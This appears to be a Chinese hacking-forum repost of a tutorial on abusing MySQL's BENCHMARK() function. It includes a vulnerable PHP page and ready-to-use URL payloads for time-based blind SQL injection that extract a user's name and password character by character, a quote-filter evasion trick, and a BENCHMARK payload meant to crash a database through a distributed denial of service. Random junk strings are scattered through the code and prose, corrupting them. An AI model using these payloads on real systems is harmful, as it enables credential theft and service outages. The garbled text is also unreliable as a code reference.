找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2131|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
2 O1 |) w; ^, f  D3 m本文作者:SuperHei3 o! ~1 v- H$ Y
文章性质:原创( b) H( ?0 ~9 T% w$ P
发布日期:2005-01-02
3 m4 {5 l( w9 t- [/ {! ~8 p完成日期:2004-07-09
5 ]' Y# H- C/ I! c第一部0 m0 }& M3 s. H5 m+ f  f

/ g- c! T( ?/ Z/ ^( A* ~, j6 `9 X利用时间推延进行注射---BENCHMARK函数在注射中的利用 - a4 J, h9 W. O9 G! k9 M6 P/ S

, \4 v# X0 r8 ~( ~6 D- y9 S7 @一.前言/思路9 [9 @) }1 @8 M/ O

' ^; q) r& O$ i/ s  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
( [- z1 i$ P( R9 ^
, M4 f- Q! ^5 w  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
8 n# G, x: w, [. e# C1 d- j# B% X' y$ c
二.关于BENCHMARK函数0 e, p  }+ Q+ _4 q

3 n% g7 l" W: G! o! ^6 e  在MySQL参考手册里可以看到如下描叙: ) W: I. d. l- s8 l' f9 _) e2 b
" ]. a4 \, Y. T. F' Q  J
. Q5 g# [& p2 y/ ]1 a, ^+ p
--------------------------------------------------------------------------------! w/ ^/ o! C  a8 g
$ C1 l5 k- S3 C2 z
BENCHMARK(count,expr)
: I' g7 S& I3 k) |1 CBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
% j. O1 b" P/ `6 T8 kmysql> select BENCHMARK(1000000,encode("hello","goodbye")); ( s; ?# B2 R/ Q& c, F  q
+----------------------------------------------+
% m1 {/ e1 T) H: F/ M3 I; \! d| BENCHMARK(1000000,encode("hello","goodbye")) | + g% u! `- b! E3 |8 f. y" R
+----------------------------------------------+
3 l9 q/ c0 V+ a% ?| 0 |
8 l/ h, _' J0 ?/ Z# \* g# p/ Q+----------------------------------------------+ ! {9 G. ]) u4 ]' L0 @3 A
1 row in set (4.74 sec)
, a( j8 V0 d0 p$ g+ Y6 g- Q/ H1 k  y6 H: J  V4 Y
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
4 i& U" ^# K! ]4 i5 i7 Z: z8 J$ A3 w  A& I# Z( I8 P+ @

$ l0 |/ K+ M. C" \--------------------------------------------------------------------------------
- T4 C3 S$ \& Q( ]9 ^6 G+ Z
, J: V+ V5 w/ E7 D5 V5 U  f! O  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 2 ]4 g* B  n7 G7 |6 k

2 k5 u* }9 a4 kmysql> select md5( 'test' );
% E: \% S9 @9 ]: e$ X( Z1 a+----------------------------------+ ' p% f  H2 o- n
| md5( 'test' ) |
, |$ U2 P) }+ v+----------------------------------+
/ m: h6 B& `0 z5 L7 W4 || 098f6bcd4621d373cade4e832627b4f6 | 5 t) Q8 Q0 G4 l# H/ Z
+----------------------------------+
/ p! G9 L) t$ J( c; ~1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
6 z% m2 M1 n1 U4 d( @, G: E
  N% g" y- z' Wmysql> select benchmark( 500000, md5( 'test' ) ); # ]2 `0 f/ i0 J5 X4 _0 l8 j4 k2 j! f
+------------------------------------+
. r/ E$ ~1 f! Y7 a; M# Q| benchmark( 500000, md5( 'test' ) ) |
4 h3 E* x1 h0 }  v5 y$ x3 n4 i5 s+------------------------------------+
+ q: s! ?8 x9 N. H, P| 0 |
3 Q. G& h& B4 }- p% `( s+------------------------------------+ , D; L( H& [7 n3 f
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec$ t- T. Y2 \- n7 c" f) d! j6 z

1 c* S0 G+ k$ `, i% |% l2 W. P' M* o- b8 G& S( J, P
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 $ `" I4 H: R" q: [7 E' D$ z' h
6 \1 p: N" V& E* f" k6 k. w
三.具体例子
* j9 H! I2 I1 I9 w
: ]* g2 \( [$ C; f  首先我们看个简单的php代码:
5 E. r( R' L# L) {9 Y; f# X# I& q- k" N( J  S- r
< ?php
* ^1 M+ }( G+ o/ W+ H- l$servername = "localhost";
# q9 k# Z: g6 J+ h" \* B% L; [$dbusername = "root"; 6 G# `# \; u6 d( N
$dbpassword = ""; 7 z, P2 c2 X/ R, U8 x2 @0 j
$dbname = "injection"; ; }5 e! w2 u3 h  F) V
  j& o/ c. n) ^; H  I" Z
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); # `9 s) e& n7 M% m8 B" h
9 q/ |9 U( w5 k  \$ Q: }
$sql = "SELECT * FROM article WHERE articleid=$id";
% M+ C: L2 f& D/ T$ s* g7 N' H% j$result = mysql_db_query($dbname,$sql);
( r; N9 B8 H. Y6 n& i) M# R' k$row = mysql_fetch_array($result);
4 z# I# W- A# z" f! g
8 x$ Y" Y, {+ f. Z7 Q4 Gif (!$row) - o8 O& i- O3 L7 b4 ?5 W
{
* B3 o( Y1 \+ cexit; * o8 n. O" p# u# {5 F
} + N/ u6 {* h* y
?>/ a+ ]; [! X$ n) G+ o7 s
  P6 l' u5 o8 D  s

* c8 q: ~% j# P6 t" z4 \* v' }  数据库injection结构和内容如下:
# g/ p3 ^' L7 }1 e. ?+ H" ]2 X+ M* H. l! J
# 数据库 : `injection`
1 ?) P  I( O' P+ {; p# " z2 v5 C4 U2 S2 o% M! I9 V7 j

8 N: t" Z1 S# W  S- L6 N# --------------------------------------------------------
$ r, v2 d. s+ h6 H/ Q# e- y& r; _# E3 }* e* Q+ ~. o1 r* ~
#
5 x9 {9 h8 T; i3 H! p9 b# 表的结构 `article` 0 u9 C5 C" l2 w1 b# V  c. K" ?
#   U8 L9 B, S3 s5 \/ [0 M
( B' J' Q& a; ?& w! u2 M5 z' e
CREATE TABLE `article` ( ' W7 `7 ~3 J7 S& a6 w- W- [# _0 f  e
`articleid` int(11) NOT NULL auto_increment,
& |( [9 Z- f9 X) m2 v/ C& w  d4 ?`title` varchar(100) NOT NULL default '', # \9 n9 z& y6 R* z' N
`content` text NOT NULL, 8 a, Q- [, k/ O/ o( h# ?& k1 V3 G2 K3 X
PRIMARY KEY (`articleid`) ( U# H& M$ \& Q
) TYPE=MyISAM AUTO_INCREMENT=3 ;
1 C& x/ {9 F. Z* j& X4 H7 m, |) Q+ N: w& b, P
# 6 ~- A: z. I" E( u5 I5 H
# 导出表中的数据 `article`
! z# l+ X( m3 V8 t2 G# * m( e* h6 {9 a+ a

( _) B. e  V4 y) oINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); , Y/ O: @4 ]2 _) J8 Y/ }- v
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); . ~; |; p6 V& t) L) n# {

1 Z- ~' Y8 K( o# -------------------------------------------------------- 2 ]9 d( L, v! R2 E1 p/ L

: C- F% Y  |6 A5 d* J" w5 a, i# 5 O4 w7 A1 M$ |2 M# s$ S5 y
# 表的结构 `user`
  F& C; F+ }8 f7 x2 o2 y# 2 u; R$ V- v# P2 J; O" X
; V; H' f7 w1 F5 y
CREATE TABLE `user` (
1 T- V' V1 R+ y3 S/ r3 M`userid` int(11) NOT NULL auto_increment, , V, Q0 g. z$ @# n
`username` varchar(20) NOT NULL default '',
! x2 B+ I% J! e7 e`password` varchar(20) NOT NULL default '',
5 N9 I2 ~; e2 u$ _( N; Q0 @  ]PRIMARY KEY (`userid`)   k* M& Z. h! U5 f
) TYPE=MyISAM AUTO_INCREMENT=3 ; % X# i0 w& U5 _8 `4 x9 v
( o# ]. _4 K; p. k4 q, P
#
- O, {# ]% p/ y# 导出表中的数据 `user` 5 [7 H# E3 p6 A, B( _
#
3 N* z6 a- @. G& c
9 Y, g6 n- m6 W1 t, U6 }, U& IINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 0 I0 J; K$ w$ P# @$ M
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
6 l- D5 r; ~# B- V
* ?& b; j. T* v% H9 {, B
! `2 Y8 d! g* B  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:1 T) G# p. x8 H2 y& f, y4 r

9 Y* x. X1 n, Nid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
+ x; t3 x% A% Y) [ 4 F& R, H4 w6 e) j' X  Y, r6 X

# h; z. e: w2 f  L$ H" C  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:! z  `$ B8 i& b* {4 s0 S! f8 @
6 k! Q3 h  v% h! U( S$ }, X# I
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*, \' i  s! P2 g- t9 Q7 r
2 I) @0 S  J" ^1 e
$ l# s6 l3 X# {' ^+ U
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 % A  x1 W0 v# t$ S0 z
( V+ y) |2 W1 C2 J
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
- o: L4 X. y$ E. }: h7 Y
+ a( Z9 b6 {( f- }第二部6 o1 Y# I5 F8 P$ e4 O* C0 c( [: [
! t6 P1 ]3 `) `/ g  l# E
利用BENCHMARK函数进行ddos攻击
% G6 G* [, _  N+ ?
& b# u8 }3 q: |/ d; G+ s  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:# h9 x( M. ]+ H4 m8 \/ e: }
' Y$ z+ O+ _+ V' V+ C
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)): h5 N; ?* M! Q3 I, G1 {
# n& Y% h7 I9 `! `1 G5 e
- y+ ^# p; e: w1 g
小结
8 {3 ~. y' P* n0 L8 `) z+ s6 d7 t" d" T
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
, i  l& a# t7 W5 p8 G, e6 U  @' ]
5 M* B: L2 i7 G% r, M4 H6 p    u. s9 \* T+ g. S% T3 R- w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表